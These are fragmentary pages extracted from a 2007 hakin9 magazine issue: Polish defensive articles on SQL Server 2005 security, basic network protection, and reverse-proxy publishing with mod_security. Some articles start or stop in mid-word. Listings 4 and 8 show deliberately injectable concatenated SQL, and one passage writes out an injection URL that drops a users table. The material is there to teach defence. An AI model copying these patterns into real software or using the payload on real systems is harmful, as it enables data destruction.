[dbo].[spMaUprawnienia]

@u varchar

(

)

@h varchar

(

)

SELECT

count

(

)

FROM

uzytkownicy

WHERE

uzytkownik = @u

and

haslo = @h

Listing 4.

Przykład procedury składowanej, która generuje SQL z

różnych ciągów

REATE PROCEDURE [dbo].[spMaUprawnienia2]

@u varchar

(

100

)

@h varchar

(

100

)

declare @wynik nvarchar

(

300

)

set

@wynik =

'SELECT count(*) FROM uzytkownicy WHERE uzytkownik ='

''''

@u+

''''

' and haslo = '

''''

+ @h +

''''

EXECUTE sp_executesql @wynik

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

aplikacji (z ang. Pre-login hand-

shake). Następuje połączenie.

• Następnie wysyłane jest z aplika-

cji żądanie autentykacji loginu SQL.
Jeśli weryfikacja powiedzie się, na-
stępuje ustanowienie uprawnień.

• Kolejnym krokiem jest przejście

do odpowiedniej bazy danych i
autoryzacja użytkownika. Po tym
działaniu, jeśli użytkownik jest po-
prawnie zautoryzowany, nastę-
puje przejście do konkretnej bazy
danych i ustanowienie kontekstu.

• Ostatni krok to próba wykonania

jakiejś akcji. Weryfikowane są
uprawnienia dla wszystkich akcji
i, jeśli jest to możliwe, żądana ak-
cja jest wywoływana.

W taki sposób następuje proces po-
łączenia  do  bazy  danych.  Warto  o
tym  pamiętać,  jeśli  chcemy  wyko-
nywać  jakieś  akcje  w  poszczegól-
nych momentach tego procesu. Na-
leży  również  mieć  na  uwadze  inne,
nie programistyczne aspekty bezpie-
czeństwa SQL Server, o standardo-
wo używanych portach, o możliwości
szyfrowania  połączenia  przy  pomo-
cy SSL z poziomu SQL Server.

Nowe elementy

języka T-SQL i silnika

relacyjnego

Schematem nazywamy grupę obiek-
tów, które pozwalają na łatwe zabez-
pieczenie dostępu do danych. Dzię-
ki  temu  możliwe  jest  przypisanie
użytkownika do schematu w bardzo
prosty  sposób,  przy  użyciu  poleceń
T-SQLa. Aby korzystać ze schema-
tów, należy je na początku stworzyć.
Do tego celu służy polecenie  CRE-

ATE SCHEMA (Listing 5).

Tworzenie tabel w schemacie wy-

maga konstrukcji schemat.tabela. Li-
sting 6 pokazuje stworzenie tabeli we
wcześniej stworzonym schemacie.

Szczególnym schematem jest

schemat sys. Jest on tworzony dla
każdej bazy danych i przechowuje
on wszystkie obiekty systemowe.

Zmiana kontekstu

zabezpieczeń

Tworząc system, często zastanawia-
my się nad tym, w jaki sposób można

uruchomić jakąś procedurę lub funk-
cję przez użytkownika, który standar-
dowo nie ma do tego prawa. W tym
celu została stworzona nowa klauzu-
la  EXECUTE  AS,  która  pozwala  na
zmianę  kontekstu  użytkownika.  Aby
można  było  w  łatwy  sposób  zrozu-
mieć ideę działania tej klauzuli, prze-
śledźmy następujący przykład. Użyt-

kownik  A  ma  uprawnienia  do  wyko-
nania  procedury  Procedura  A.  Pro-
cedura ta działa na obiektach Obiekt
A, Obiekt B., Obiekt C. Użytkownik A
ma  uprawnienia  tylko  do  Obiektu  A.
Obiekt B i Obiekt C należą do użyt-
kownika B. Jeśli użytkownik A wywo-
ła  procedurę,  to  zostanie  ona  prze-
rwana w momencie odwołania się do

Rysunek 2.

Schemat komunikacji aplikacji z SQL Server 2005

Żądanie połączenia sieciowego/pre-login handshake

Żądanie autentyfikacji loginu SQL Server

Ustanowienie uprawnień

Połączenie do SQL Server

Przejście do DB i autoryzacja dostępu

Próba wykonania jakiś akcji

Weryfikacja uprawnień dla wszystkich akcji

Ustanowienie kontekstu bazy danych

Listing 5.

Tworzenie schematu

CREATE

SCHEMA MojSchemat

Listing 6.

Tworzenie tabeli

CREATE TABLE

MojSchemat.MojaTabela

(

PoleA int, PoleB int

)

Listing 7.

Użycie EXECUTE AS

CREATE PROCEDURE

Procedura A

WITH

EXECUTE

‘B’

…..

Listing .8

Fragment kodu aplikacji, gdzie użytkownik wprowadza

prawidłową wartość

var shipcity;
ShipCity = Request.form

(

“Shipcity”

)

var sql = “

SELECT

FROM

OrdersTable

WHERE

ShipCity = ‘” + Shipcity + “’”;

Listing 9.

Connection String z parametrem Encrypt szyfrującym

połączenia

Provider=SQLNCLI;Server=myServerAddress;
Database=myDataBase;Trusted
Connection=yes;Encrypt=yes;

hakin9 Nr 8/2007

www.hakin9.org

Obrona

obiektu, do którego A nie ma dostę-
pu.  Aby  temu  zapobiec,  można  sto-
sować  klauzulę  EXECUTE  AS,  któ-
ra uruchomi procedurę w kontekście
uprawnień  użytkownika  B.  Klauzu-
la ta pozwala na stosowania jej przy
procedurach  składowanych  oraz
funkcjach użytkownika.

Przykład 7 pokazuje stworzenie

procedury, która umożliwi każdemu na
wywołanie procedury z uprawnieniami
użytkownika B. Możliwe jest jeszcze
użycie tej klauzuli w postaci EXECU-
TE AS SELF. EXECUTE AS SELF po-
zwala na wywołanie procedury w kon-
tekście osoby, która ją wywołuje.

Szyfrowanie danych

Microsoft  SQL  Server  2005  wspie-
ra  bardzo  mocno  mechanizmy  szy-
frowania.  Dzięki  temu  programista
ma dużo mniej pracy, a mechanizmy
wbudowane  w  bazę  danych  w  wielu
przypadkach  mogą  okazać  się  bar-
dziej  wydajne  niż  własne  rozwiąza-
nia.  Nowa  baza  wspiera  szyfrowa-
nie symetryczne, asymetryczne oraz
używanie  certyfikatów.  Dostępne  są

następujące  algorytmy  szyfrowania:
Dla  symetrycznych:  DES,  TRIPLE_
DES,  RC2,  RC4,  DESX,  AES_128,
AES_192,  AES_256  oraz  dla  asy-
metrycznych  jest  dostępny  algorytm
RSA o długości kluczy 512, 1024 oraz
2048  bitów.  Aby  można  było  uży-
wać  szyfrowania  danych  w  swoich
aplikacjach,  zostały  stworzone  no-
we  funkcje:  EncryptByKey,  Decrypt-

ByKey, EncryptByPassPhrase, De-

cryptByPassPhrase oraz Key_GU-

ID, Key_ID. Funkcja EncryptByKey,

DecryptByKey  służą  do  szyfrowania
i  deszyfrowania  wg  zdefiniowanego
klucza;  EncryptByPassPhrase  oraz

DecryptByPassPhrase do szyfrowa-
nia i deszyfrowania wg zadanej fazy.
Aby można było pracować z szyfro-
wanymi danymi, należy wykonać na-
stępujące kroki:

• utworzyć klucz główny (może być

ich kilka),

• utworzyć, o ile jest to wymagane,

certyfikat,

• utworzyć klucz symetryczny lub

asymetryczny. (klucz symetrycz-

ny może być szyfrowany dodat-
kowo używając certyfikatu lub
klucza asymetrycznego),

• otworzyć klucz,
• po otwarciu możliwe jest praco-

wanie z szyfrowanymi danymi,

• zamknąć klucz.

Do tworzenia kluczy wykorzystuje-
my, rozbudowaną o nowe elementy,
klauzulę CREATE:

• CREATE MASTER KEY – utwo-

rzymy klucz główny,

• CREATE ASYMMETRIC KEY

– klucz asymetryczny,

• CREATE SYMMETRIC KEY

– klucz symetryczny,

• CREATE CERTIFICATE – two-

rzymy certyfikat.

Wszystkie  symetryczne  oraz  klucze
prywatne  są  zawsze  przechowywa-
ne  zaszyfrowane.  Ochrona  tych  klu-
czy bazuje na hasłach użytkowników
oraz  na  automatycznym  procesie
używającym SQL Server Key Mana-

gement. Musimy pamiętać o tym, że
wszystkie klucze muszą być zawsze
chronione. Jeśli klucz zginie, dane
również przepadną. Wszystkie klucze
używane w SQL Server mogą być ar-
chiwizowane i odtwarzane w razie po-
trzeby. Wyróżniamy dwa główne klu-
cze w systemie. Pierwszy z nich to

Master Key i jest to główny klucz dla
bazy danych. Jego podstawowym za-
daniem jest ochrona kluczy prywat-
nych. Dla jego ochrony mamy dwa
polecenia:

• ALTER MASTER KEY DDL,
• DUMP/LOAD MASTER KEY DDL.

Pierwsze z nich może zmienić ten
klucz, natomiast drugie archiwizu-

Rysunek 3.

Struktura kluczy i ich ochrony w SQL Server 2005

Klucz

Inny klucz

Certyfikat

Klucz prywatny

Klcz publiczny

Hasło

Master Key

Hasło

Master Key

Hasło użytkownika

Chroniony przez

Związany z

Opakowany przez

O autorze

Autor  jest  pracownikiem  firmy  Micro-
soft. Na co dzień zajmuje się m.in. two-
rzeniem  rozwiązań  w  oparciu  o  SQL
Server w różnych aspektach – bazy re-
lacyjne, usługi integracyjne, usługi ana-
lityczne.  Jest  certyfikowanym  admini-
stratorem baz danych (MCDBA). Kon-
takt z autorem: arturz@microsoft.com

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

je  i  odtwarza  go.  Klucz  ten  zawsze
chroniony  jest  przy  użyciu  hasła
użytkownika i przechowywany w ba-
zie  danych.  Drugi  z  kluczy  to  Servi-

ce Master Key – czyli klucz serwiso-
wy. Używany jest do ochrony danych
systemowych, np. przy hasłach ser-
werów połączonych (Linked servers),
kluczy master, etc. Do jego obsługi i
ochrony mamy analogiczne polece-
nia jak w przypadku klucza master:

• ALTER SERVICE MASTER KEY

DDL,

• DUMP/LOAD SERVICE MA-

STER KEY DDL.

Różnica jest taka, że ten klucz chro-
niony jest przy użyciu DPAPI i kon-
ta  serwisowego  (service  account).
Aby  łatwo  zrozumieć  działanie  klu-
czy, przyjrzyjmy się Rysunkowi 3, na
którym  przedstawione  są  zależno-
ści pomiędzy różnymi kluczami oraz
sposobami ich ochrony.

Uprawnienia w SQL

Server

Aby  sprawdzić,  jakie  mamy  upraw-
nienia  na  danym  obiekcie,  ma-
my  do  dyspozycji  funkcję  systemo-
wą  Sys.fn_mypermissions().  Nato-
miast, aby sprawdzić, jakie w ogóle
są  uprawnienia,  możemy  posłużyć
się tabelami systemowymi:

• Sys.Server_permissions – upra-

wnienia na poziomie serwera,

• Sys.database_permissions – upra-

wnienia na poziomie bazy danych,

• Sys.fn_builtin_permissions – wszy-

stkie wbudowane uprawnienia.

Najlepsze praktyki

– zalecenia

Zalecenia do stosowania najlepszych
praktyk możemy podzielić na dwa
podstawowe – dla programistów oraz
dla administratorów. Poniżej lista zale-
ceń (w punktach), które warto stoso-
wać, aby nasze aplikacje były napraw-
dę bezpieczne. Dla programistów:

• pomyśl o szyfrowaniu ważnych

danych,

• szyfrowanie vs. indeksowanie – klu-

cze nie powinny być szyfrowane,

• nie pokazuj komunikatów błę-

dów użytkownikowi (np. Messa-

ge.Show(Exception.Message),

• dostęp poprzez procedury skła-

dowane,

• staraj się zrozumieć różne zagro-

żenia,

• pomyśl o różnych scenariuszach

ataków,

• poznaj swojego wroga – wiedz,

co oznaczają pojęcia: SQL Injec-
tion, Buffer Overflows, etc.,

•   aplikacje buduj modułowo,
•   wylistuj graniczne komponenty,
•   analizuj interfejsy i możliwe inte-

rakcje,

• regularnie przeglądaj kod,
• wykonuj checklisty, aby niczego

nie zapomnieć,

• nie twórz obiektów w schemacie

DBO,

• schowaj zasadniczy schemat apli-

kacji,

• używaj podpisanych modułów

lub łańcucha własności lub exe-

cute as,

• niskie uprawnienia dla użytkow-

nika execute as,

• unikaj dynamicznego SQL,
• używaj ról do zarządzania upraw-

nieniami.

Dla administratorów:

• bezpieczeństwo fizyczne - chroń

wszystkie związane systemy, no-
śniki, kopie zapasowe, etc.,

• niegdy nie umieszczaj RDBMS w

niechronionej sieci – zawsze za
firewall'em,

• instaluj SQL Server i umieszczaj

pliki z danymi na NTFS,

• izoluj serwisy – nigdy nie instaluj ba-

zy danych na kontrolerze domeny,

• nie używaj kont LocalSystem, Lo-

cal or Domain Administrator,

• najnowszy kod jest najbezpiecz-

niejszym kodem – pamiętaj o in-
stalacji najnowszych poprawek
i aktualizacji,

• zaproponuj agresywną politykę

dotyczącą archiwizacji,

• sprawdź, czy masz (a jeśli nie, to

zbuduj) i jak działa disaster reco-
very system,

• włącz odpowiedni poziom audy-

towania,

• zapewnij ochronę transmisji -

używaj SSL, IPSEC etc.,

• zapewnij szyfrowanie na pozio-

mie plików - Unikaj niedozwolo-
nych kopii bazy danych oraz pa-
miętaj o tym, że SQL wspiera En-

crypted File System (EFS).

Dla programisty i administratora:

• używaj Windows Authentication,
• kiedy używasz SQL Authentica-

tion,

• pamiętaj o SQL Server Password

Policy Enforcement,

• używaj DPAPI dla bezpiecznego

przechowywania uprawnień,

• wybierz trzy lub więcej warstw,
• model dwuwarstwowy jest trudny

w utrzymaniu bezpieczeństwa.

Podsumowanie

Jak  widać,  tworzenie  bezpiecznych
aplikacji nie jest sprawą prostą. Jest
bardzo wiele elementów, na które na-
leży zwrócić uwagę już na etapie pro-
jektowania  naszego  systemu.  Nale-
ży również pamiętać o tym, że admi-
nistrator systemów i programista mu-
szą działać razem, aby przyczynić się
do  sukcesu,  jakim  jest  bezpieczna
aplikacja. Pamiętajmy również o tym,
że czasami stworzenie aplikacji, która
będzie  posiadała  wszystkie  elemen-
ty  wymienione  w  tekście,  spowodu-
je, że będzie ona działać bardzo po-
woli. Artykuł ten miał na celu przybli-
żenie  niektórych  problemów,  bardzo
wiele rzeczy zostało pominiętych. Ta-
kie  wybiórcze  potraktowanie  zagad-
nienia  wynika  z  tego,  że  temat  ten
jest tak obszerny, że można o nim na-
pisać książkę. W przypadku tworze-
nia  aplikacji  opartych  o  SQL  Server
2005  mamy  troszkę  ułatwioną  spra-
wę, ponieważ sam silnik bazy danych
wspiera  mechanizmy  bezpieczeń-
stwa w sposób automatyczny. Zachę-
cam do wnikliwej analizy tekstu i swo-
ich aplikacji, które działają produkcyj-
nie.  Podzielam  opinie  różnych  spe-
cjalistów, że należy znaleźć przysło-
wiowy złoty środek podczas tworze-
nia takich aplikacji – bezpieczeństwo
a wydajność – do czego i czytelników
zachęcam. l

hakin9 Nr 8/2007

www.hakin9.org

Obrona

rewall.  Zapora  ogniowa  przy  pomo-
cy  pewnych  (w  pełni  konfigurowal-
nych)  reguł  chroni  ruch  między  sie-
cią  prywatną  a  publiczną,  decydu-
je, jaki ruch sieciowy może być prze-
puszczony, a który ma być zabloko-
wany (zarówno z sieci prywatnej do
Internetu, jak i na odwrót). Użytkow-
nicy system Windows XP z zainsta-
lowanym  SP2  zazwyczaj  zauważali
w swoim systemie obecność zapory
sieciowej  –  i  minimalizując  problem
odpowiedniego  wyboru  oraz  konfi-
guracji firewalla – korzystali z owego
windosowego  narzędzia,  pozbawio-
nego wielu podstawowych funkcji, ja-
kie powinna posiadać zapora siecio-
wa.  Brak  elementarnych  funkcji  fire-
walla  oraz  możliwości  dokładnej  je-
go konfiguracji prowadzi do bezuży-
teczności  takiego  zabezpieczenia.
Warto zaopatrzyć się zatem w osob-
ny program – właśnie zaporę siecio-
wą. Istnieje wiele darmowych rozwią-
zań – lepszych od tego, wbudowane-
go  domyślnie  w  Windows  XP  –  ich
przykładem  mogą  być  tutaj  Jetico
Personal  Firewall  czy  Outpost  Fire-
wall. Oba te programy łączą w sobie
dużą skuteczność oraz bogatą funk-
cjonalność.

IPS – skuteczna obrona

Niestety  i  firewalle  posiadają  wady
– nie są one w stanie dogłębnie ana-
lizować ruchu w warstwie aplikacyj-
nej. Jeżeli więc nasz serwer WWW
jest dostępny w Internecie, to firewall
musi  przepuszczać  ruch  do  niego,
a w konsekwencji tego przepuszczo-
ny będzie również atak na ten serwer
WWW. Oczywiście wszystko zależy
od  konfiguracji  firewalla.  Na  pewno
skutecznym  rozwiązaniem  jest  uży-
wanie systemów IPS (Intrusion Pre-

vention System – ang. system zapo-
biegania włamaniom), które łączą w
sobie funkcjonalność Firewalla, sys-
temu IDS oraz antywirusa. Nieste-
ty są to stosunkowo słabo rozpo-
wszechnione systemy ochronne sie-
ci, m.in. ze względu na swoją cenę.

Wykorzystujemy

szyfrowane połączenia

Jeśli chodzi o ochronę kompute-
rów domowych, warto jest sko-

rzystać  z  powszechnie  dostęp-
nych rozwiązań, które nie wymaga-
ją  poważniejszej  konfiguracji  stacji
roboczych/oprogramowania,  a  mo-
gą  znacznie  poprawić  poziom  bez-
pieczeństwa pracy w sieci. Aby za-
bezpieczyć  się  przed  podsłuchem
pakietów  (przykładowo  ARP  spo-

ofing) dobrze jest korzystać z bez-

piecznych szyfrowanych protokołów
np. POP3S, SMTPS,SCP, SFTP,
SSH i HTTPS. Jeśli nie wyeliminuje
to zupełnie zagrożenia, to na pewno
skutecznie utrudni możliwość prze-
prowadzenia ataku.

Udostępnianie plików –

nie zawsze bezpieczne

Dość często problemy wiążą się z
udostępnianymi  w  sieciach  lokal-
nych plikami i drukarkami – niepra-
widłowy  dobór  restrykcji  (lub  zu-
pełnie  ich  pominiecie)  powoduje
banalnie  prosty  dostęp  do  danych
–  problem  ten  jest  niezwykle  nie-
bezpieczny w sieciach WLAN (Wi-
Fi) pozbawionych szyfrowania (na-
wet  tego  najbardziej  podstawowe-
go WEP/WPA). O ile w sieciach ka-
blowych  dość  trudno  jest  podpiąć
się  do  sieci  (konieczny  fizyczny
kontakt z okablowaniem), to w sie-
ciach bezprzewodowych tej bariery
już nie ma. Wszystkie dane rozsy-
łane są w eter, co znacznie ułatwia
sprawę podsłuchu pakietów.

Sieci bezprzewodowe jako naj-

słabsze ogniwo zabezpieczeń

Sieci bezprzewodowe często by-

wają zmorą administratorów sieci fir-
mowych.  Pracownicy  chcący  sobie
ułatwić  korzystanie  z  sieci  instalu-
ją we własnym zakresie Access Po-
inty (w skrócie AP) – które są furtką
do firmy dla potencjalnego intruza. I
na  nic  zdają  się  wówczas  firewalle,
IDS/IPS. AP omija wszystkie te za-
bezpieczenia.

Świadoma konfiguracja

Dobrze  skonfigurowany  system  IDS
wraz z modułem do monitoringu sie-
ci  bezprzewodowych  znajdujących
się w obrębie danego obszaru, sku-
tecznie  uniemożliwia  korzystanie  z
nieautoryzowanych/niechcianych
sieci  bezprzewodowych,  zalewając

eter odpowiednio spreparowanymi
ramkami death które uniemożliwiają
podłączenie się klienta do wcześniej
wspominanej sieci bezprzewodowej.

Podsumowanie

Niniejszy  artykuł  prezentuje  pod-
stawowe zasady bezpiecznego po-
dróżowania  po  sieci  LAN/Internet
–  stosując  się  do  nich  powinni-
śmy  zwiększyć  swoje  bezpieczeń-
stwo.  Pamiętajmy  jednak  o  tym
ze  przechowywanie  poufnych  da-
nych  (oraz  haseł)  na  komputerze
nie jest bezpieczne – a jeśli już się
na  to  decydujemy  to  warto  pomy-
śleć  o  zaszyfrowaniu  plików.  Jed-
nak  żadne  z  wyżej  wymienionych
zabezpieczeń  nie  będzie  skutecz-
ne  w  momencie,  gdy  nie  zadbamy
o  odpowiednią,  w  pełni  świadomą
konfigurację  oraz  o  stały  monito-
ring  uaktualnień/poprawek  nasze-
go oprogramowania. l

O autorze

Autor  jest  studentem  Informatyki  na
Uniwersytecie  Łódzkim  (filia  w  Toma-
szowie  Maz.),  gdzie  prowadzi  sekcje
koła  naukowego  zajmującego  się  sie-
ciam. Jest on także autorem serwisu o
sieciach bezprzewodowych
http://warchalking.pl
Kontakt z autorem:
michal.poselt@warchalking.pl

W Sieci

• http://www.siteadvisor.com/sites/

webpark.pl/email,

• http://www.siteadvisor.com/sites/

warchalking.pl/downloads.

Przykładowy wynik ska-

nowania witryn:

• http://www.siteadvisor.com/sites/

kazaa.com – witryna niebezpieczna

• http://www.siteadvisor.com/sites/

webpark.pl – witryna podejrzana

• http://www.siteadvisor.com/sites/

warchalking.pl – witryna bezpieczna

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

wnętrznej, jak i zewnętrznej, przetwa-
rzane są w podobny sposób, serwery
mają publiczne adresy IP czy nazwy
domenowe, a komunikacja szyfrowa-
na poprzez SSL wymaga osobnych
certyfikatów dla serwera.

Aby pominąć ograniczenia, ja-

kie  stawia  przed  nami  lokowanie
serwerów  w  strefie  zdemilitaryzo-
wanej  oraz  jeśli  chcemy  w  jeszcze
większym  stopniu  podnieść  bez-
pieczeństwo,  możemy  postawić  na
maszynie  pełniącej  rolę  firmowego
firewalla/nata  lub  na  dedykowanym
serwerze  w  DMZ  usługę  reverse
proxy. Ten sposób dostępu do zaso-
bów może wydawać sie najtrudniej-
szym i najbardziej zaawansowanym,
jest  jednak  niezmiernie  elastyczny  i
daje nam wiele nowych funkcji.

Weźmy jako przykład sytuację,

gdy mamy w sieci serwer Microsoft
Exchange z aplikacją webmail OWA,
intranetowy serwer z webową ba-
zą wiedzy i aplikacją CRM, routing i
NAT realizowany jest na dedykowa-
nym routerze sprzętowym lub linuk-

sowym  oraz  serwer  linuksowy  zlo-
kalizowany  w  strefie  zdemilitaryzo-
wanej.  Tym,  co  chcielibyśmy  osią-
gnąć, jest umożliwienie przeglądania
bazy wiedzy oraz poczty z Internetu
oraz  zachowanie  dostępu  do  syste-
mu CRM tylko z sieci lokalnej.

Po pierwsze, musimy umożliwić

serwerowi w DMZ dostęp do intrane-
towych serwerów OWA i bazy wie-
dzy, co w skrócie sprowadza się do:

• utworzenia reguł umożliwiających

dostęp do OWA na MS IIS z IP
serwera w DMZ,

• utworzenia reguł umożliwiających

dostęp do strony bazy wiedzy z IP
serwera w DMZ,

• utworzenie odpowiednich reguł

firewalla  i  NAT-a,  aby  umożliwić
ruch  pomiędzy  wybranymi  ser-
werami  intranetowymi  oraz  ser-
werem w DMZ.

Jeśli możemy przeglądać zawartość
stron z publicznego serwera, oznacza
to, że czas opublikować je do Interne-

tu. Aby to osiągnąć, wykorzystamy
serwer http Apache2 wraz z moduła-
mi mod_proxy i mod_proxy_http. Li-
sting 1 prezentuje podstawową konfi-
gurację vhosta dla publikowania we-
wnętrznego serwisu dla klientów łą-
czących się do publicznego serwera.

Przy takiej konfiguracji Apache'a

strona http://owa.lan powinna być do-
stępna z Internetu pod adresem http:

//intra.company.com.  Trudno  jednak
stwierdzić, aby takie rozwiązanie pod-
nosiło w sposób znaczący bezpieczeń-
stwo,  co  więcej,  przy  takich  ustawie-
niach  nadal  publikujemy  zasoby  tylko
jednego  wewnętrznego  serwera  i  to
wszystko to, co jest na nim dostępne.
Co możemy zrobić w celu poprawienia
zaprezentowanego reverse proxy?

Przede wszystkim warto nieco

bardziej szczegółowo określić, jakie
zasoby mają być publikowane i pod
jakimi nazwami, zmieńmy więc:

• ProxyPass/ http://owa.lan/,
• ProxyPassReverse http://owa.lan/.

na szczegółowy wykaz publikowa-
nych folderów webowych:

• ProxyPass/exchange http://owa.

lan/exchange,

• ProxyPassReverse /exchange

http://owa.lan/exchange,

• ProxyPass /exchweb http://owa.

lan/exchweb,

• ProxyPassReverse

/exchweb

http://owa.lan/exchweb,

• ProxyPass /public http://owa.lan/

public,

• ProxyPassReverse /public http://

owa.lan/public,

Rysunek 1.

Diagram dostępu w wariancie kolokacji

External ISP colocated

Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

Internet

Intranet

Listing 1.

Podstawowa konfiguracja vhosta w Apache2

<VirtualHost *>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/owa.foo.bar-error.log
CustomLog /var/log/apache2/owa.foo.bar-access.log common
ProxyPass / http://owa.lan/
ProxyPassReverse / http://owa.lan/
ProxyRequests Off
<Proxy *>
Order deny,allow
Allow from all
</Proxy>
</VirtualHost>

hakin9 Nr 8/2007

www.hakin9.org

Obrona

• ProxyPass /knb http://webserver.

lan/knowledgebase,

• ProxyPassReverse /knb http://

webserver.lan/knowledgebase.

Ciphered connections

Dzięki powyższej zmianie, dostęp jest
ograniczony  jedynie  do  wybranych
katalogów,  zaś  zależnie  od  wywoła-
nego  adresu,  prezentowana  będzie
zawartość  odpowiedniego  serwera
intranetowego.  Warto  jednak  pamię-
tać o tym, że choć do ruchu wewnątrz
sieci lokalnej mamy zazwyczaj spore
zaufanie, ruch w Internecie to przypa-
dek przeciwny. W związku z tym, po-
wszechną  i  wskazaną  praktyką  jest,
by takie połączenia były szyfrowane.
Aby pozostać w zgodzie z ową przy-
jętą procedurą,  zaimplementujmy w
naszym rozwiązaniu szyfrowanie po-
przez  dodanie  wpisów  odpowiadają-
cych za SSL do konfiguracji serwera:

Listen 443

oraz

NameVirtualHost *:443

Gdy Apache nasłuchuje już na domyśl-
nym porcie HTTPS, możemy zaktuali-
zować naszą konfigurację vhosta do
stanu zaprezentowanego w Listingu 2
i Rysunku 1, gdzie korzystamy również
z dyrektywy SSLProxyEngine, któ-
ra umożliwia publikowanie zasobów z
wykorzystaniem protokołu HTTPS.

Jeśli publikowane zasoby ma-

ją być dostępne jedynie dla pracow-
ników  firmy  oraz  innych  zaufanych
podmiotów,  warto  rozważyć  imple-
mentację  dodatkowej  warstwy  au-
toryzacji  klienta  poprzez  certyfika-
ty. Serwer proxy może wymagać od
przeglądarki  klienta  przedstawienia
prawidłowego certyfikatu, zanim po-
łączenie zostanie ustanowione.

Innym aspektem implementa-

cji mod_proxy jako reverse proxy jest
rozkładanie ruchu pomiędzy serwery
celem równoważenia obciążenia oraz
przeniesienie odpowiedzialności za
szyfrowanie ruchu z serwera aplikacji
na serwer proxy. Gdy publikujemy we-
wnętrzne zasoby HTTP z uruchomio-
nym szyfrowaniem SSL na publicznie

dostępnym  serwerze  reverse  proxy,
mamy  możliwość  publikacji  zasobów
wielu serwerów pod jedną nazwą do-
menową, a co za tym idzie, z wykorzy-
staniem jednego certyfikatu dla SSL.
Może to stanowić dla firmy znaczące
udogodnienie oraz skutkować obniże-
niem  kosztów  utrzymania  certyfika-
tów nabywanych u komercyjnych do-
stawców. Ciekawym sposobem wyko-
rzystania reverse proxy w kontekście
szyfrowania jest również instalacja po-
jedynczego  akceleratora  kryptogra-
ficznego dla wszystkich serwerów fir-
my, co daje nam możliwość znaczne-
go uproszczenia i optymalizacji infra-
struktury klucza publicznego stosowa-
nej w firmie.

Specyficzne problemy

Pomimo iż opisywane rozwiązanie
jest bardzo dobre, może stać się ono

powodem  niespodziewanych proble-
mów  w  wypadku  niektórych  aplika-
cji webowych. Na przykład w wypad-
ku publikacji wspominanego kilkakrot-
nie Outlook Web Access, konfiguracja
domyślna serwera IIS i Exchange po-
woduje drobny, acz przykry problem,
którym  jest  autentykacja  z  wykorzy-
staniem NTLM czyli tzw. Windows In-

tegrated Authentication. Zgodnie z ofi-
cjalnymi publikacjami Microsoft, auten-
tykacja NTLM authentication nie dzia-
ła poprzez serwery proxy. Po dokład-
niejszym sprawdzeniu okazuje się, iż
działa  ona  w  przeglądarkach,  innych
niż Microsoft producentów,  takich jak
Mozilla Firefox czy Opera, ale nie funk-
cjonuje, gdy próba otworzenia tej sa-
mej strony wykonywana jest z Internet
Explorera.  Wiedząc,  gdzie  leży  pro-
blem,  możemy  wyłączyć  autentyka-
cję opartą o NTLM po stronie serwe-

Rysunek 2.

Diagram dostępu w wariancie DMZ

DMZ Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

Rysunek 3.

Diagram dostępu przez reverse proxy

LAN Web servers

SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

ra IIS (w Exchange Management Con-

sole) lub, jeśli chcemy zachować moż-
liwośc takiej autentykacji w sieci LAN,
możemy za pomocą mod_headers dla
Apache zmodyfikować nagłówki tak,
by serwer proxy rozgłaszał jedynie w
podstawowy sposób, jak poniżej:

Header unset WWW-Authenticate
Header set WWW-Authenticate

"Basic realm=webmail.company.com"

Firewall warstwy aplikacji

W wielu sytuacjach dynamicznie ge-
nerowana zawartość strony przygo-
towywana jest za pomocą PHP, ASP
czy innej podobnej technologii. Roz-
wiązania takie są potencjalnie podat-
ne na pewne rodzaje nadużyć. Nie
zdarza się raczej, by firma dyspono-
wała zasobami koniecznymi do wery-

fikacji  każdego  fragmentu  kodu  źró-
dłowego,  a  często  w  wypadku  za-
mkniętych rozwiązań, nawet do kodu
dostępu. Jeśli w sieci intranet do pew-
nego  stopnia  można  dopuścić  takie
zagrożenie,  to  już  w  wypadku  zaso-
bów publikowanych do Internetu, ko-
nieczne jest,  by stosowane rozwiąza-
nia były jak najbezpieczniejsze.

Gdy implementujemy reverse

proxy, nie tylko możemy wykorzystać
je do prostego publikowania z dodat-
kowym zabezpieczeniem w formie
szyfrowania SSL. Dzięki modułowi

mod_security2 możemy utworzyć
całkowicie nową warstwę filtrowania
ruchu dla naszych rozwiązań.

Jednym z najpopularniejszych za-

grożeń, na jakie narażone są aplika-
cje webowe, są ataki wstrzykujące
kod jak SQL injection. Najczęściej po-

wodowane przez niewłaściwą obsłu-
gę zmiennych, mogą zostać załatane
poprzez modyfikacje kodu aplikacji.

Wyobraźmy sobie sytuację, w któ-

rej  używana  jest  spora  aplikacja  we-
bowa,  utworzona  dłuższy  czas  temu
i  nigdy  niemodyfikowana.  Sporo  wy-
darzyło  się  od  czasu,  kiedy  ją  napi-
sano, PHP nie powinno juz np. wyko-
rzystywać  zmiennych  globalnych  (re-

gister_globals) do obsługi wywołań

GET/POST; obecnie kładzie się rów-
nież znacznie większy nacisk na bez-
pieczeństwo. Jednak dla stworzonego
kiedyś skomplikowanego oprogramo-
wania, aktualizacja do bieżących stan-
dardów może okazać się koszmarem.
Często zdarza się wręcz, iż lepiej jest
napisać nowy system w miejsce stare-
go, gdyż może to być tańsze od łatania
słabo udokumentowanej aplikacji.

Nawet jeśli zapadnie decyzja o

tworzeniu nowego rozwiązania, nie
stanie sie to w ciągu dni czy nawet ty-
godni, a my nie możemy sobie pozwo-
lić na publiczny dostęp do dziurawego
oprogramowania. Jeśli system jest po-
datny na wstrzykiwanie kodu, łatwo so-
bie wyobrazić jak tragiczne w skutkach
może być wpisanie do przeglądarki w
polu adresu http://company.com/bug-

gy.php?username =jonny;DRO -

P%20TABLE%20users

Aby uniknąć podobnych nad-

użyć, można wykorzystać mod_se-

curity2 do blokowania typowych ata-
ków wstrzykiwania kodu.

Jeśli dana dystrybucja zawiera

bieżącą wersję mod_security2, mamy
szczęście, jednak w większości wy-
padków konieczna będzie kompilacja i
